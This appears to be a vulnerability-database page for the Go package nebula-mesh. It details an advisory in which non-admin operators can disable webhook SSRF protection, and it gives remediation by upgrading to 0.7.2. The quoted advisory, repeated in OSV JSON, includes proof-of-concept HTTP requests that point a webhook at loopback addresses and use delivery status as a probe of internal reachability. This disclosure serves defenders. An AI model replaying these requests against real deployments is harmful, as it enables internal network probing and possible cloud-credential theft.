Vulnerabilities in pkg:golang/github.com/forgekeep/nebula-mesh

PACKAGE
Advisory Summary

GHSA-7rx3-5wx3-5v76 is a HIGH (CVSS 7.7) nebula-mesh allows non-admin operators to vulnerability (CWE-862: Missing Authorization) affecting Github.com/forgekeep/nebula mesh libraries in the Go ecosystem. The issue involves nebula-mesh allows non-admin operators to disable webhook ssrf protection via `allow_private`. Remediation is available by upgrading affected packages to version 0.7.2.

8 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/forgekeep/nebula-mesh

8 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/forgekeep/nebula-mesh. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-7rx3-5wx3-5v76 - HIGH Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`
GHSA-cm26-5974-52h8 CVE-2026-61699 HIGH nebula-mesh: Certificate revocation is never enforced at the mesh
GHSA-g4x6-jcvr-9m3g CVE-2026-55513 MODERATE nebula-mesh: Web UI host creation ignores configured enrollment token TTL and mints 24-hour bearer enrollment tokens
GHSA-m3cx-mwpg-32jg CVE-2026-55512 MODERATE nebula-mesh: Unauthenticated OIDC login endpoint allocates unbounded in-memory state entries without rate limiting
GHSA-q4vm-pq3q-8wgq CVE-2026-53603 HIGH nebula-mesh: Operator session tokens stored in plaintext in the database
GHSA-2p2f-px33-4vv5 CVE-2026-53604 HIGH nebula-mesh: CA private key not zeroized on web mobile-bundle error paths
GHSA-339v-266x-79xr CVE-2026-53602 MODERATE nebula-mesh: Host revocation is not durable - blocked/offboarded hosts can regain a valid certificate
GHSA-8h84-fhqq-q58v CVE-2026-48025 MODERATE nebula-mesh: Decrypted CA private key persists in heap after signing

GHSA-7rx3-5wx3-5v76 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-7rx3-5wx3-5v76
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-862: Missing Authorization
Affected Product Github.com/forgekeep/nebula mesh
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-7rx3-5wx3-5v76

To remediate this vulnerability, upgrade all affected Github.com/forgekeep/nebula mesh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/forgekeep/nebula-mesh fixed: 0.7.2
Upgrade github.com/forgekeep/nebula-mesh to 0.7.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/forgekeep/nebula-mesh

How to Check if You Are Affected

To determine whether your application is affected by GHSA-7rx3-5wx3-5v76, inspect your project dependencies for Github.com/forgekeep/nebula mesh:

inspect dependencies for github.com/forgekeep/nebula-mesh

Analyze the terminal output to locate any version of Github.com/forgekeep/nebula mesh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Github.com/forgekeep/nebula mesh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Non-admin operators (role `user`) can set `allow_private: true` on their own managed webhook subscription (`POST`/`PATCH /api/v1/webhook-subscriptions`). No admin check exists on this field. At delivery time, `allow_private` switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses. ### Details `internal/api/webhooks.go:67` (`handleCreateWebhookSubscription`) and `:110` (`handleUpdateWebhookSubscription`) persist operator-supplied `AllowPrivate` with no role check — only ownership is enforced (`canAccessWebhookSub`), and that's not even called on create. `internal/webhook/webhook.go:294-296`: ```go client := d.guarded if tgt.AllowPrivate { client = d.unguarded } ``` `d.unguarded` skips the loopback/private/link-local rejection `config.ValidateWebhookURL` otherwise enforces. Every other tenant-impacting toggle (network create `internal/api/networks.go:21`, settings PATCH `internal/api/settings.go:36`, CA management) gates on `isActiveAdmin`. `allow_private` is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc). ### PoC Verified live against a real running instance of nebula-mesh (HEAD `2c3457c`, built and run locally, no third-party requests made — the "internal service" below is a loopback listener standing in for one). Setup: `nebula-mgmt init` + `serve` on `127.0.0.1:8181`; admin CLI creates operator `lowpriv` with `-role user` and mints it an API key (`d984bb...c7c`) — the routine, legitimate way any non-admin operator gets access. `lowpriv` self-mints its own CA (`POST /api/v1/cas`, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on. **Step 1 — create-side bypass, as the non-admin `lowpriv` operator:** ``` POST /api/v1/webhook-subscriptions HTTP/1.1 Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c Content-Type: application/json {"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]} ``` Actual response: ``` HTTP/1.1 201 Created {"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"} ``` `201 Created`, `allow_private:true` persisted, `owner_operator_id` is the non-admin `lowpriv` account (`role: "user"`). No `403 Forbidden` — which is what every comparable admin-gated endpoint (`POST /api/v1/networks`, `PATCH /api/v1/settings`) returns for this same non-admin key. **Control — same non-admin key, same target, `allow_private` omitted (defaults false):** ``` POST /api/v1/webhook-subscriptions HTTP/1.1 Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c Content-Type: application/json {"url":"http://127.0.0.1:9999/internal-admin","allow_private":false} ``` ``` HTTP/1.1 400 Bad Request {"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"} ``` Confirms the guard is real and active for this exact target — `allow_private:true` in Step 1 is what disabled it. **Step 2 — delivery-side SSRF.** A Python `http.server` listener bound `127.0.0.1:9999`, logging every request it receives. `lowpriv` fires a host-lifecycle event on the host it owns: ``` POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1 Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c ``` ``` POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1 Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c ``` Both returned `200 OK`. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself: ``` RECEIVED: /internal-admin {"id":"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6","type":"host.unblocked","created_at":"2026-07-01T06:42:11.5305Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}} RECEIVED: /internal-admin {"id":"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c","type":"host.blocked","created_at":"2026-07-01T06:42:11.543246Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}} ``` Same result holds for `host.enrolled` — any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path. **Step 3 — reachability oracle:** ``` GET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1 Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c ``` ``` HTTP/1.1 200 OK {"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50", ... ,"last_delivery_at":"2026-07-01T13:42:11.544244+07:00","last_status":"ok","consecutive_failures":0, ...} ``` `last_status`/`last_error` confirm delivery outcome and, on failure, the dial/connection error string — a reachability oracle over internal addresses. The dispatcher's delivery-recording path stores success/failure and error text only, never the target's response body. ### Impact A non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests — conditional on target config, not guaranteed (IMDSv2's token requirement would block it).

GHSA-7rx3-5wx3-5v76 Affected Github.com/forgekeep/nebula mesh Versions

1 component(s)
Fixed Versions:
0.7.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/forgekeep/nebula-mesh
Go
≥ 0.6.0
< 0.7.2
0.7.2

References

Frequently Asked Questions

What is GHSA-7rx3-5wx3-5v76?
GHSA-7rx3-5wx3-5v76 is a security vulnerability in Github.com/forgekeep/nebula mesh involving Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private` under CWE-862: Missing Authorization.
Which Github.com/forgekeep/nebula mesh versions are affected?
Affected versions include releases prior to 0.7.2 across affected packages: github.com/forgekeep/nebula-mesh.
What version fixes GHSA-7rx3-5wx3-5v76?
Upgrading to 0.7.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/forgekeep/nebula-mesh affected?
Yes, github.com/forgekeep/nebula-mesh is affected in releases prior to 0.7.2. Upgrade your dependency to 0.7.2 or later.
What is the CVSS score of GHSA-7rx3-5wx3-5v76?
GHSA-7rx3-5wx3-5v76 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with GHSA-7rx3-5wx3-5v76?
GHSA-7rx3-5wx3-5v76 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for GHSA-7rx3-5wx3-5v76?
Run the dependency tree command: 'inspect dependencies for github.com/forgekeep/nebula-mesh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7rx3-5wx3-5v76",
  "modified" : "2026-07-14T20:28:42Z",
  "published" : "2026-07-14T20:28:42Z",
  "aliases" : [ ],
  "summary" : "Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`",
  "details" : "### Summary\n\nNon-admin operators (role `user`) can set `allow_private: true` on their own managed webhook subscription (`POST`/`PATCH /api/v1/webhook-subscriptions`). No admin check exists on this field. At delivery time, `allow_private` switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses.\n\n### Details\n\n`internal/api/webhooks.go:67` (`handleCreateWebhookSubscription`) and `:110` (`handleUpdateWebhookSubscription`) persist operator-supplied `AllowPrivate` with no role check — only ownership is enforced (`canAccessWebhookSub`), and that's not even called on create.\n\n`internal/webhook/webhook.go:294-296`:\n```go\nclient := d.guarded\nif tgt.AllowPrivate {\n    client = d.unguarded\n}\n```\n`d.unguarded` skips the loopback/private/link-local rejection `config.ValidateWebhookURL` otherwise enforces.\n\nEvery other tenant-impacting toggle (network create `internal/api/networks.go:21`, settings PATCH `internal/api/settings.go:36`, CA management) gates on `isActiveAdmin`. `allow_private` is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).\n\n### PoC\n\nVerified live against a real running instance of nebula-mesh (HEAD `2c3457c`, built and run locally, no third-party requests made — the \"internal service\" below is a loopback listener standing in for one). Setup: `nebula-mgmt init` + `serve` on `127.0.0.1:8181`; admin CLI creates operator `lowpriv` with `-role user` and mints it an API key (`d984bb...c7c`) — the routine, legitimate way any non-admin operator gets access. `lowpriv` self-mints its own CA (`POST /api/v1/cas`, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.\n\n**Step 1 — create-side bypass, as the non-admin `lowpriv` operator:**\n\n```\nPOST /api/v1/webhook-subscriptions HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\nContent-Type: application/json\n\n{\"url\":\"http://127.0.0.1:9999/internal-admin\",\"allow_private\":true,\"events\":[\"host.enrolled\"]}\n```\n\nActual response:\n\n```\nHTTP/1.1 201 Created\n\n{\"id\":\"bcad45e0-acc5-47ac-bb48-c4fc66959e50\",\"owner_operator_id\":\"a4ec02d3-c7ae-412d-a2ff-567d36315191\",\"url\":\"http://127.0.0.1:9999/internal-admin\",\"events\":[\"host.enrolled\"],\"active\":true,\"allow_private\":true,\"has_secret\":false,\"consecutive_failures\":0,\"created_at\":\"2026-07-01T13:38:22.637847+07:00\",\"updated_at\":\"2026-07-01T13:38:22.637847+07:00\"}\n```\n\n`201 Created`, `allow_private:true` persisted, `owner_operator_id` is the non-admin `lowpriv` account (`role: \"user\"`). No `403 Forbidden` — which is what every comparable admin-gated endpoint (`POST /api/v1/networks`, `PATCH /api/v1/settings`) returns for this same non-admin key.\n\n**Control — same non-admin key, same target, `allow_private` omitted (defaults false):**\n\n```\nPOST /api/v1/webhook-subscriptions HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\nContent-Type: application/json\n\n{\"url\":\"http://127.0.0.1:9999/internal-admin\",\"allow_private\":false}\n```\n\n```\nHTTP/1.1 400 Bad Request\n\n{\"error\":\"url: \\\"127.0.0.1\\\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink\"}\n```\n\nConfirms the guard is real and active for this exact target — `allow_private:true` in Step 1 is what disabled it.\n\n**Step 2 — delivery-side SSRF.** A Python `http.server` listener bound `127.0.0.1:9999`, logging every request it receives. `lowpriv` fires a host-lifecycle event on the host it owns:\n\n```\nPOST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n```\nPOST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n\nBoth returned `200 OK`. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:\n\n```\nRECEIVED: /internal-admin {\"id\":\"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6\",\"type\":\"host.unblocked\",\"created_at\":\"2026-07-01T06:42:11.5305Z\",\"data\":{\"ca_id\":\"74cb77b9-2adf-499c-b1d6-707b49486a7e\",\"host_id\":\"48103bac-66e9-43bd-9211-8d574e0877e9\",\"host_name\":\"poc-host\",\"network_id\":\"eacf739f-f57d-4cbc-b391-2a0996c72b98\"}}\nRECEIVED: /internal-admin {\"id\":\"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c\",\"type\":\"host.blocked\",\"created_at\":\"2026-07-01T06:42:11.543246Z\",\"data\":{\"ca_id\":\"74cb77b9-2adf-499c-b1d6-707b49486a7e\",\"host_id\":\"48103bac-66e9-43bd-9211-8d574e0877e9\",\"host_name\":\"poc-host\",\"network_id\":\"eacf739f-f57d-4cbc-b391-2a0996c72b98\"}}\n```\n\nSame result holds for `host.enrolled` — any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.\n\n**Step 3 — reachability oracle:**\n\n```\nGET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n\n```\nHTTP/1.1 200 OK\n\n{\"id\":\"bcad45e0-acc5-47ac-bb48-c4fc66959e50\", ... ,\"last_delivery_at\":\"2026-07-01T13:42:11.544244+07:00\",\"last_status\":\"ok\",\"consecutive_failures\":0, ...}\n```\n\n`last_status`/`last_error` confirm delivery outcome and, on failure, the dial/connection error string — a reachability oracle over internal addresses. The dispatcher's delivery-recording path stores success/failure and error text only, never the target's response body.\n\n### Impact\n\nA non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests — conditional on target config, not guaranteed (IMDSv2's token requirement would block it).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/forgekeep/nebula-mesh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.6.0"
      }, {
        "fixed" : "0.7.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.7.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/forgekeep/nebula-mesh/security/advisories/GHSA-7rx3-5wx3-5v76"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/forgekeep/nebula-mesh/commit/f3c54530e388dd21763e548923426e60a8e93ff0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/forgekeep/nebula-mesh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/forgekeep/nebula-mesh/releases/tag/v0.7.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-14T20:28:42Z",
    "nvd_published_at" : null
  }
}